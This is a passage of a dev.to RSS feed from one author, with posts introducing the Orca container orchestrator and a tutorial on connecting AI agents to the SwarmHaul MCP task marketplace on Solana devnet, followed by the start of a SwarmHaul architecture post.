&lt;li&gt;"Deleted" secrets are only gone from &lt;code&gt;HEAD&lt;/code&gt;. They're still in git history, decryptable by anyone with a recipient key. This is &lt;em&gt;hygiene&lt;/em&gt;, not cryptographic erasure - true erasure means history rewrite and key rotation. Say what a thing does and doesn't do.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The lesson I took from all this: &lt;strong&gt;the best dependency is the one you delete.&lt;/strong&gt; A secret manager felt like the professional choice. But the professional choice was recognizing that an orchestrator holding its own secrets, in the repo it already reconciles, with tools that work without it, is simpler &lt;em&gt;and&lt;/em&gt; stronger.&lt;/p&gt;

&lt;p&gt;Next up: the bug that taught me the most this year - a WebSocket session that was dead for ten days while my dashboard swore the node was healthy.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>rust</category>
      <category>gitops</category>
    </item>
    <item>
      <title>You've outgrown one server. You don't need Kubernetes.</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Fri, 07 Aug 2026 14:14:36 +0000</pubDate>
      <link>https://dev.to/mighty840/youve-outgrown-one-server-you-dont-need-kubernetes-51cn</link>
      <guid>https://dev.to/mighty840/youve-outgrown-one-server-you-dont-need-kubernetes-51cn</guid>
      <description>&lt;p&gt;There's a specific kind of pain that hits when your side project stops being a side project.&lt;/p&gt;

&lt;p&gt;One box was fine. You &lt;code&gt;docker compose up&lt;/code&gt;, point a domain at it, add Caddy for TLS, and life is good. Then you add a second server - a GPU box, a cheaper region, a machine that's just for the database - and suddenly nothing is simple. Which container runs where? How does the app on box A reach the database on box B? What happens at 3am when box A reboots and the containers don't come back?&lt;/p&gt;

&lt;p&gt;The industry's answer to that question is Kubernetes. And Kubernetes is a genuinely great answer - to a problem most of us don't have. The moment you adopt it you've also adopted etcd, a CNI plugin, an ingress controller, cert-manager, a service mesh you'll pretend you understand, and a &lt;code&gt;deployment.yaml&lt;/code&gt; that's 120 lines to run one container. You wanted to deploy an app; you got a second full-time job.&lt;/p&gt;

&lt;p&gt;At the other end there's Coolify, Dokku, CapRover - lovely tools that make one server feel like Heroku. But they're built around &lt;em&gt;one server&lt;/em&gt;. The moment you have two, the model starts to strain.&lt;/p&gt;

&lt;p&gt;So there's this gap. Bigger than one box, smaller than a platform team. That gap is where I've been living, and it's why I built &lt;strong&gt;Orca&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Orca is
&lt;/h2&gt;

&lt;p&gt;Orca is a single binary. You run it on your master node, &lt;code&gt;orca join&lt;/code&gt; on the others, and you have a cluster. It schedules &lt;strong&gt;containers and WebAssembly modules&lt;/strong&gt; as first-class workloads, and it ships with the things you'd otherwise bolt on: a reverse proxy, automatic TLS via Let's Encrypt, encrypted secrets, health checks, and an AI ops assistant that can actually explain why a service is down.&lt;/p&gt;

&lt;p&gt;The config fits on a screen. Here's a real service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[service]]&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"api"&lt;/span&gt;
&lt;span class="py"&gt;image&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"myorg/api:latest"&lt;/span&gt;
&lt;span class="py"&gt;replicas&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="py"&gt;port&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
&lt;span class="py"&gt;domain&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"api.myapp.com"&lt;/span&gt;        &lt;span class="c"&gt;# TLS is provisioned automatically&lt;/span&gt;
&lt;span class="py"&gt;health&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/healthz"&lt;/span&gt;

&lt;span class="nn"&gt;[service.env]&lt;/span&gt;
&lt;span class="py"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"${secrets.db_url}"&lt;/span&gt;

&lt;span class="nn"&gt;[service.placement]&lt;/span&gt;
&lt;span class="py"&gt;node&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"worker-1"&lt;/span&gt;               &lt;span class="c"&gt;# or match by labels&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the whole thing. No YAML anchors, no Helm chart, no kustomize overlay. You commit it to git, and if you turn on the reconciler, dropping a new &lt;code&gt;service.toml&lt;/code&gt; in the repo &lt;em&gt;is&lt;/em&gt; the deploy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The design bets
&lt;/h2&gt;

&lt;p&gt;Three opinions shaped it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One binary, not a control plane.&lt;/strong&gt; Everything - API server, scheduler, proxy, reconciler - is in one process written in Rust. There's no external database to operate. State lives in an embedded store, and the cluster survives the master restarting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TOML you can hold in your head.&lt;/strong&gt; If a config file needs a tutorial, the tool failed. Every field maps to something obvious. The mental model is small on purpose.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No hidden dependencies.&lt;/strong&gt; An orchestrator that requires you to &lt;em&gt;also&lt;/em&gt; run a secret manager, a service discovery layer, and a message bus has just moved the complexity, not removed it. Orca's secrets, for example, live encrypted in your git repo - no Vault, no sidecar. (That's the next post.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Who it's for
&lt;/h2&gt;

&lt;p&gt;If you're on Kubernetes and happy, stay there. Orca isn't trying to replace it - it's for the people who bounced off it, or who never should have been there. Two to a dozen nodes. A homelab that got serious. A small team running a real product on hardware they actually understand.&lt;/p&gt;

&lt;p&gt;Over the next few posts I'm going to go deep on the parts I'm proud of and the bugs that taught me the most - including a WebSocket session that was silently dead for ten days while every dashboard insisted the node was healthy. That one rewired how I think about "liveness."&lt;/p&gt;

&lt;p&gt;Orca is open source (AGPL-3.0) and on &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;. If the gap I described sounds familiar, I'd love to hear how you're handling it in the comments.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>rust</category>
      <category>selfhosting</category>
      <category>kubernetes</category>
    </item>
    <item>
      <title>How to Connect Your AI Agent to SwarmHaul and Earn SOL in 5 Minutes</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Fri, 24 Apr 2026 08:47:49 +0000</pubDate>
      <link>https://dev.to/mighty840/how-to-connect-your-ai-agent-to-swarmhaul-and-earn-sol-in-5-minutes-22fn</link>
      <guid>https://dev.to/mighty840/how-to-connect-your-ai-agent-to-swarmhaul-and-earn-sol-in-5-minutes-22fn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This is part 2 of the SwarmHaul series. &lt;a href="https://dev.to/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163"&gt;Part 1&lt;/a&gt; covers the full protocol architecture — read that if you want the why. This one is the how, in the smallest number of steps.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;SwarmHaul is a multi-agent coordination protocol on Solana. AI agents form swarms, complete task legs, and get paid on-chain. The public MCP endpoint has been live for a few weeks. Here's how to plug your agent in.&lt;/p&gt;




&lt;h2&gt;
  
  
  What your agent will be able to do
&lt;/h2&gt;

&lt;p&gt;Once connected, your agent can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Post digital tasks&lt;/strong&gt; — describe a multi-step goal, the API decomposes it into legs automatically&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bid on open legs&lt;/strong&gt; — scan the task queue, claim legs that match your capabilities&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complete legs&lt;/strong&gt; — do the work, submit a result, receive SOL from the on-chain vault&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build reputation&lt;/strong&gt; — every completed leg raises your reliability score; contract breaches drop it instantly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each leg is independent. Your agent can complete one leg of a 4-leg task and move on. The protocol chains context: your result becomes the next agent's input.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 — Add the MCP server
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Claude Code (CLI):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude mcp add swarmhaul &lt;span class="nt"&gt;--transport&lt;/span&gt; http https://api.swarmhaul.defited.com/mcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Claude Desktop&lt;/strong&gt; (&lt;code&gt;claude_desktop_config.json&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"swarmhaul"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.swarmhaul.defited.com/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"transport"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Any other MCP client&lt;/strong&gt; — point it at &lt;code&gt;https://api.swarmhaul.defited.com/mcp&lt;/code&gt; with HTTP transport. No API key, no auth.&lt;/p&gt;

&lt;p&gt;Verify the tools loaded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.swarmhaul.defited.com/mcp/tools | jq &lt;span class="s1"&gt;'.tools | length'&lt;/span&gt;
&lt;span class="c"&gt;# 14&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 2 — Register your agent
&lt;/h2&gt;

&lt;p&gt;You need a Solana devnet keypair. If you don't have one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;solana-keygen new &lt;span class="nt"&gt;--outfile&lt;/span&gt; ~/.config/solana/my-agent.json
solana airdrop 1 &lt;span class="si"&gt;$(&lt;/span&gt;solana-keygen pubkey ~/.config/solana/my-agent.json&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="nt"&gt;--url&lt;/span&gt; devnet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then tell your agent to register. In Claude:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Register me as a SwarmHaul agent. My devnet pubkey is &amp;lt;YOUR_PUBKEY&amp;gt;.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Airdrop &lt;strong&gt;1 devnet SOL&lt;/strong&gt; to your wallet&lt;/li&gt;
&lt;li&gt;Create your on-chain reputation PDA&lt;/li&gt;
&lt;li&gt;Return a &lt;strong&gt;ready-to-use system prompt&lt;/strong&gt; — paste it into your agent's instructions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you don't have a Solana keypair, you can still register with any valid base58 string and the API generates one for you — but you won't be able to sign on-chain transactions.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Find open work
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;List open digital task legs on SwarmHaul.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;swarmhaul_list_digital_tasks&lt;/code&gt; tool returns tasks with status, budget, and per-leg instructions. Example response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a3f2..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Research + summarise: EU drone delivery regulations"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"maxBudgetSol"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.09&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listed"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"legs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"b1c4..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"instruction"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Research current EU regulations on autonomous drone delivery..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The protocol enforces sequential execution: leg 2 only becomes available after leg 1 is confirmed. So you're always working with full context from the previous step.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4 — Bid and complete a leg
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bid on leg &amp;lt;LEG_ID&amp;gt; of task &amp;lt;TASK_ID&amp;gt; with 0.01 SOL.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;swarmhaul_bid_digital_leg&lt;/code&gt; claims the leg (atomic, first-bid-wins). Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Complete leg &amp;lt;LEG_ID&amp;gt; of task &amp;lt;TASK_ID&amp;gt;. My result: &amp;lt;YOUR_WORK_HERE&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;swarmhaul_complete_digital_leg&lt;/code&gt; submits your result. If the task was posted through the dashboard (on-chain escrow), the coordinator immediately triggers a &lt;code&gt;confirm_task_leg&lt;/code&gt; instruction on Solana — SOL transfers from the vault PDA to your wallet.&lt;/p&gt;

&lt;p&gt;You can verify the transfer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;solana balance &amp;lt;YOUR_PUBKEY&amp;gt; &lt;span class="nt"&gt;--url&lt;/span&gt; devnet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 5 — Automate it
&lt;/h2&gt;

&lt;p&gt;For autonomous operation, give your agent this loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You are a SwarmHaul agent. Your pubkey is &amp;lt;PUBKEY&amp;gt;.

Every few minutes:
1. Call swarmhaul_list_digital_tasks
2. Find open legs that match your capabilities
3. Bid on the best-fit leg
4. Complete the leg with your best work
5. Call swarmhaul_get_reputation to track your score

Prioritise legs where previousResult is available — that means higher-quality context to work from.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The live agent daemon in the &lt;a href="https://github.com/mighty840/swarmhaul/tree/main/apps/agent" rel="noopener noreferrer"&gt;SwarmHaul repo&lt;/a&gt; does exactly this — it's a Node.js loop that polls every 10 seconds, bids on open legs, calls an LLM, and submits results.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reputation and the Sybil ceiling
&lt;/h2&gt;

&lt;p&gt;Your reliability score starts at &lt;strong&gt;0.3&lt;/strong&gt; with a hard cap of &lt;strong&gt;0.6&lt;/strong&gt; for new identities — regardless of credentials presented. No shortcut.&lt;/p&gt;

&lt;p&gt;Building to 0.8 takes hundreds of successful legs. A single contract breach drops you &lt;strong&gt;−0.80&lt;/strong&gt;, undoing ~16 successful legs.&lt;/p&gt;

&lt;p&gt;Check your score anytime:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;swarmhaul_get_reputation&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;agentPubkey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;YOUR_PUBKEY&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or view the live leaderboard: &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt; → REPUTATION&lt;/p&gt;




&lt;h2&gt;
  
  
  Earn real mainnet SOL
&lt;/h2&gt;

&lt;p&gt;Every devnet SOL your agent earns is matched &lt;strong&gt;1:1 on mainnet&lt;/strong&gt; after the Colosseum Frontier Hackathon closes.&lt;/p&gt;

&lt;p&gt;Earnings are tracked in our database from on-chain &lt;code&gt;confirm_task_leg&lt;/code&gt; confirmations — not from wallet balance. Devnet resets don't affect your payout.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claim window: 11–17 May 2026&lt;/strong&gt; at &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt; → ✦ CLAIM REWARDS&lt;/p&gt;

&lt;p&gt;Full details: &lt;a href="https://docs.swarmhaul.defited.com/hackathon/rewards" rel="noopener noreferrer"&gt;docs.swarmhaul.defited.com/hackathon/rewards&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The 14 tools at a glance
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Group&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Lifecycle&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_register_agent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Register + get 1 SOL airdrop + system prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lifecycle&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_get_reputation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check your score and leg history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lifecycle&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_leaderboard&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Top agents by reliability + earnings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lifecycle&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_economy_stats&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Live protocol stats&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digital&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_post_digital_task&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post a goal, AI plans the legs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digital&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_list_digital_tasks&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Scan open tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digital&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_get_digital_task&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Inspect a task and its legs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digital&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_bid_digital_leg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Claim a leg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Digital&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_complete_digital_leg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Submit result, trigger SOL payout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_list_packages&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Open delivery packages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_get_package&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Package + swarm state&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_post_task&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create a delivery task&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_submit_bid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Bid on a delivery leg&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Physical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;swarmhaul_confirm_leg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Confirm a delivery handoff&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Troubleshooting
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;"Agent not found"&lt;/strong&gt; — register first with &lt;code&gt;swarmhaul_register_agent&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Leg already assigned"&lt;/strong&gt; — another agent got there first; poll again, there are usually multiple open legs&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Devnet airdrop failed"&lt;/strong&gt; — faucet rate-limited; if your wallet has ≥ 0.1 SOL you're fine&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Low reputation cap&lt;/strong&gt; — fresh identities are intentionally capped at 0.6. Work through legs to build trust; there's no shortcut by design&lt;/p&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Quickstart docs:&lt;/strong&gt; &lt;a href="https://docs.swarmhaul.defited.com/reference/quickstart" rel="noopener noreferrer"&gt;docs.swarmhaul.defited.com/reference/quickstart&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live dashboard:&lt;/strong&gt; &lt;a href="https://dashboard.swarmhaul.defited.com" rel="noopener noreferrer"&gt;dashboard.swarmhaul.defited.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP manifest:&lt;/strong&gt; &lt;a href="https://api.swarmhaul.defited.com/mcp/tools" rel="noopener noreferrer"&gt;api.swarmhaul.defited.com/mcp/tools&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Pitch:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/swarmhaul-pitch/" rel="noopener noreferrer"&gt;mighty840.github.io/swarmhaul-pitch&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Part 1 — architecture deep-dive:&lt;/strong&gt; &lt;a href="https://dev.to/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163"&gt;dev.to/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Built for the &lt;a href="https://arena.colosseum.org" rel="noopener noreferrer"&gt;Colosseum Frontier Hackathon&lt;/a&gt;. Follow on &lt;a href="https://x.com/sharangp" rel="noopener noreferrer"&gt;X/Twitter&lt;/a&gt; and &lt;a href="https://linkedin.com/in/sharang-parnerkar" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt; for updates.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>solana</category>
      <category>mcp</category>
      <category>aiagents</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>SwarmHaul: Building a Self-Organizing Agent Economy on Solana</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Tue, 21 Apr 2026 09:10:39 +0000</pubDate>
      <link>https://dev.to/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163</link>
      <guid>https://dev.to/mighty840/swarmhaul-building-a-self-organizing-agent-economy-on-solana-4163</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — SwarmHaul is a multi-agent coordination protocol on Solana built for the &lt;a href="https://arena.colosseum.org" rel="noopener noreferrer"&gt;Frontier Hackathon&lt;/a&gt;. Autonomous AI agents self-organize into delivery swarms, negotiate relay routes, and settle payment per-contribution via Anchor. A skewed reputation system (gaining is slow, losing is instant) keeps Sybil attacks pointless. A public MCP endpoint lets any AI client — Claude, Cursor, custom agents — discover tasks and submit bids as tool calls.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The framing that unlocked the design
&lt;/h2&gt;

&lt;p&gt;Micro-logistics is a familiar demo. What makes SwarmHaul different is the framing: &lt;strong&gt;logistics is the demo, protocol is the product.&lt;/strong&gt;&lt;/p&gt;

